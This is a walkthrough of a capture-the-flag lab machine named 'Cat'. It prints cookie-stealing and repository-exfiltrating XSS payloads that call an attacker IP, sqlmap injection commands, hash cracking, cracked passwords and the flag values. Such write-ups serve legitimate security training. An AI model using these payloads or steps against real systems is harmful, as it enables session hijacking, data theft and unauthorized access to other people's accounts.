
Cat
Summary
A web application leaks its own source code in a git repository. The site also allows us to restrictively upload information to it, which will then be inspected by the administrator. While the upload form itself is sanitized, we can inject a XSS payload as our username to steal the administrator’s PHP session cookie, in order to gain access to prior unreachable endpoints. Since one of these endpoints suffers from a SQL Injection vulnerability, we can extract user accounts and their password hashes, which we crack and use to get a foothold into the system. Since the compromised user is allowed to read authentication logs, we can extract a password sent in clear text and pivot to another account.
On this newly compromised account, we can read an internal email, which mentions a local Gitea instance suffering from a stored XSS vulnerability. We can create a repository on this service in which we embed the payload, and send the link to another user on the system via email, who will trigger it. Using this, we get indirect access to a hidden repository containing the password of the root
account on the machine.
Solution
Reconnaissance
Using Nmap, we can discover two open ports on the target.
nmap -sC -sV 10.10.11.53 -p- -oN nmap.txt -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 14:18 CET
Nmap scan report for 10.10.11.53
Host is up (0.064s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
The web service on port 80 already wants to forward us to the domain cat.htb
, which is why we should add it to our /etc/hosts
file. Afterwards, we can reach the site.
The found web page is about a cat competition, allowing users to upload information and pictures of cats, and vote for a winner. However, a user needs to create an account to upload a cat, for which we can use the
/join.php
page. In addition to the endpoints we can see on the site, there might be more. To enumerate them, let’s run Gobuster. Since we already know that this site uses PHP due to the site extensions, we should add this extension to the scan.
gobuster dir -u http://cat.htb -w /usr/share/wordlists/dirb/big.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cat.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 272]
/.htpasswd (Status: 403) [Size: 272]
/.htaccess.php (Status: 403) [Size: 272]
/.htpasswd.php (Status: 403) [Size: 272]
/admin.php (Status: 302) [Size: 1] [--> /join.php]
/config.php (Status: 200) [Size: 1]
/contest.php (Status: 302) [Size: 1] [--> /join.php]
/css (Status: 301) [Size: 300] [--> http://cat.htb/css/]
/img (Status: 301) [Size: 300] [--> http://cat.htb/img/]
/index.php (Status: 200) [Size: 3075]
/join.php (Status: 200) [Size: 4004]
/logout.php (Status: 302) [Size: 0] [--> /]
/server-status (Status: 403) [Size: 272]
/uploads (Status: 301) [Size: 304] [--> http://cat.htb/uploads/]
/vote.php (Status: 200) [Size: 1242]
/winners (Status: 301) [Size: 304] [--> http://cat.htb/winners/]
/winners.php (Status: 200) [Size: 5082]
Progress: 40938 / 40940 (100.00%)
===============================================================
Finished
===============================================================
We can find some more endpoints, such as /admin.php
and /uploads
, however we don’t have any access to them. Let’s create a test account with the credentials test:test
and some dummy email, in order to log into the site. Once we are logged in, we have the permissions to fill out the following form to upload a cat.
At first, I thought we may be able to upload malicious files as the cat photo, however we can find something else. On the website, there is the /.git
folder endpoint, which we are not allowed to access. Nevertheless, we can still visit files in this folder such as /.git/HEAD
, meaning we can download this directory. Maybe this is where we can gather more information about the site. By using a tool such as Git-Dumper, we can automate the download process. In this repository, there are all PHP file present of the web server, allowing us to analyze the code of the web pages in more detail.
User Flag
We won’t go into depth for every file on here. However, there are a few findings we can discuss. First, the code tells us that our uploads will be presented to the administrator on the /admin.php
endpoint, showing them our uploaded information, as well as our username. This opens up the possibility for XSS. Since there seems to be a XSS filter in place for the cat’s name, the only unfiltered input field for the XSS is our username. If we can trigger this vulnerability, the code will execute in the administrator’s browser. Using this, we can send ourselves their sessions cookies, with which we may be able to access this site as the administrator ourselves. We only require a fitting XSS payload, such as the one from here.
<script>var i=new Image; i.src="http://10.10.16.5:8081/?"+document.cookie;</script>
After creating a new account with this payload as our username, we can upload another cat. Before we send it, we need to spawn a python web server on the specified port. We can then catch the response, as well as the PHPSESSID
cookie.
python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.11.53 - - [06/Mar/2025 15:13:18] "GET /?PHPSESSID=qunp2hcauksh1pf0c76nettl0h HTTP/1.1" 200 -
In the browser, we can overwrite our cookie with the extracted one, allowing us to visit the site as the Administrator. Now, we have access to the /admin.php
endpoint.
We also now have access to delete_cat.php
and accept_cat.php
, since they relate to the red and green button respectively. Since we have the source code to both of these files, let’s analyze them.
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
$stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
$stmt_delete->execute();
This code snippet from the accept_cat.php
file is of interest to us, as it makes two database transactions to a SQLite instance. While the second query is protected with the bindParam
call, the first one suffers from a SQL injection vulnerability, since there is no filter for the catName
parameter.
Let’s use SQLmap to exploit this vulnerability and feed it with all information we have gathered, as well as the admin cookie.
sqlmap -u http://cat.htb/accept_cat.php --cookie='PHPSESSID=abap0eugnqfgjp7t4d6a8k0mrd' --dbms='sqlite' --data="catName=test&catId=1" -p "catName" --level 5 --tables
<cut>
SQLite_masterdb
<cut>
[4 tables]
+-----------------+
| accepted_cats |
| cats |
| sqlite_sequence |
| users |
+-----------------+
<cut>
Now we have the names of all tables in the database, as well as the database name. We can use this information to dump all columns of the users
table using the --columns
flag. From there, we will focus on username
and password
. We are left with this command to extract all relevant entries from the database.
sqlmap -u http://cat.htb/accept_cat.php --cookie='PHPSESSID=arfcbc70vhpkhm76f3vcjob8jb' --dbms='sqlite' --data="catName=test&catId=1" -p "catName" --level 5 -D SQLite_masterdb -T users -C username,password --dump
<cut>
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| axel | d1bbba3670feb9435c9841e46e60ee2f |
| rosa | ac369922d560f17d6eeb8b2c7dec498c |
| robert | 42846631708f69c00ec0c0a8aa4a92ad |
| fabian | 39e153e825c4a3d314a0dc7f7475ddbe |
| jerryson | 781593e060f8d065cd7281c5ec5b4b86 |
| larr | 1b6dce240bbfbc0905a664ad199e18f8 |
+----------+----------------------------------+
<cut>
Since these are password hashes and not clear text password, we need to first crack them. Let’s add them all to a file and call Hashcat to analyze the hash types. Remember to add the --user
flag.
axel:d1bbba3670feb9435c9841e46e60ee2f
rosa:ac369922d560f17d6eeb8b2c7dec498c
robert:42846631708f69c00ec0c0a8aa4a92ad
fabian:39e153e825c4a3d314a0dc7f7475ddbe
jerryson:781593e060f8d065cd7281c5ec5b4b86
larr:1b6dce240bbfbc0905a664ad199e18f8
Hashcat guesses multiple hash types, however we find success if we use type 0
for MD5 hashes.
hashcat hash --user -m 0 /usr/share/wordlists/rockyou.txt
<cut>
ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa
<cut>
That’s a hit for the rosa
user. We can also use these credentials to log into the system via SSH and get a foothold onto the system.
This user sadly does not come with any special privileges besides an unusual group membership.
id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)
Members of the adm
group are allowed to access some system log files at /var/log
, which is also the directory where many services place their logs. In general these files are very long and it is tedious to work through them. However, if we restrict our search effort to files related to authentication, since we would like to maybe uncover a password if possible. In the very beginning of the /var/log/apach2
file using the head -n 20
command, we can discover something.
127.0.0.1 - - [06/Mar/2025:12:13:17 +0000] "GET /join.php HTTP/1.1" 200 1683 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [06/Mar/2025:12:13:18 +0000] "GET /css/styles.css HTTP/1.1" 200 1155 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [06/Mar/2025:12:13:18 +0000] "GET /favicon.ico HTTP/1.1" 404 485 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [06/Mar/2025:12:13:19 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
This file contains an authentication attempt from the axel
user on the website we just used to gain a foothold. Due to the missing encryption on HTTP, we can read the password from the GET request’s URL: axel:aNdZwgC4tI9gnVXv_e3Q
. By using this credential pair, we can log into the axel
account via SSH and claim the user flag.
d42d7352997d8bdebb6f39141648a3fb
Root Flag
In the greetings text of the SSH login, it mentions that we have mail. We can read it at /var/mail/axel
.
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
This mail mentions a website on localhost:3000
, which we should probably check out. For our own comfort, we should forward this port to our attacking machine, for which we can use our existing SSH connection.
ssh axel@cat.htb -L 3000:localhost:3000
When we now visit localhost:3000
in our browser, we can see a running Gitea instance. While we can use our existing credentials for axel
to log into this application, we don’t have access to the repository mentioned in the email.
Since Gitea already presents its version to us as 1.22.0
, we can quickly research known vulnerabilities where we encounter a Stored XSS Vulnerability for this version.
Let’s make a summary of the situation: The user jobert
likely has access to the repository mentioned in the email, while we do not. However, if we send him a link to a repository, he will review it. In addition, we are able to store XSS in our own repositories, which allows us to execute code on a target if he opens the repository. This sound like a fitting exploit chain, if we can manage to create a payload, which will fetch the repository in question as the jobert
user and send its content to us. For this, we can create an HTML-wrapped JavaScript payload such as this:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management') .then(response => response.text()) .then(data => fetch('http://10.10.16.5:8081/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ content: data }) }))"> XSS test </a>
At this point, we can create a new repository on the Gitea site, and put our payload in the description field. While I added a README.md file, I don’t believe this to be necessary. Once this repository is online, we only need to send it to jobert@localhost
using axel@localhost
. In order to use the local mail service on port 25, let’s also forward it to our attacking host via SSH in a new session.
ssh axel@cat.htb -L 25:localhost:25
Using the following syntax for swaks
, we can send a mail to the localhost to the jobert
, only containing the link to our repository.
swaks --to "jobert@localhost" --from "axel@localhost" --server localhost --header "website" --body "http://localhost:3000/alex/test"
Once we send it, we will get a callback to our attacking machine, due to the XSS payload. Since our payload uses a POST request, which is not supported by the python3 web server, we should instead spawn a Netcat listener in said port. Once the request goes through, we get a very long URL encoded string of the hidden repositories HTML code from Gitea. We can copy and paste it into a website such as URL Decode and Encode - Online, save the decoded output to a .html
file, and open with a browser of our choice. The results will be jobert
’s browser view of the repository.
Now, we can dig through this repository be replaying the same steps and embedding a different retrieval link in our XSS payload. If we request the PHP file at administrator/Employee-management/src/branch/main/in dex.php
this way, we can find a pair of credentials.
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
header('Location: dashboard.php');
exit;
?>
This looks like a promising find. Using this password, we can log into the root
account on the target and claim the root flag.
065cee3431732b61682acbdfb3b9dd76